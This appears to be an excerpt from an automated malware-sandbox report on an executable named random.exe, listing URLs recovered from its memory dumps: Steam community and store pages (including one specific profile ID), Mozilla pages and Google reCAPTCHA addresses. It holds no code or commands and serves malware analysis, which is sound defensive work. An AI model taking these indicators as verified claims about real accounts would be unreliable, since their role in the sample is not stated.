Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319136204.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/p
Source: random.exe, 00000000.00000003.1308124670.0000000000C42000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266474719.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225062365.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1253408254.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308295104.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111936216.0000000000BB5000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111936216.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248649664.0000000000C43000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128
Source: random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149947996.00000000052E4000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122560402.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111936216.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128/badges
Source: random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1149947996.00000000052E4000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1320736870.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128/inventory/
Source: random.exe, 00000000.00000003.1225062365.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128R
Source: random.exe, 00000000.00000003.1294172488.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294346430.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293865583.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000C42000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308295104.0000000000C51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199822375128b
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: random.exe, 00000000.00000003.1111936216.0000000000BC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199822375128
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamloopback.host
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: random.exe, 00000000.00000003.1319292450.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329477281.00000000053E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: random.exe, 00000000.00000003.1319292450.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCou
Source: random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319136204.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: random.exe, random.exe, 00000000.00000003.1266218601.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266218601.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210304976.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210732032.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209568884.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209455611.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208456212.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167181910.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208710850.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210351738.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319136204.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
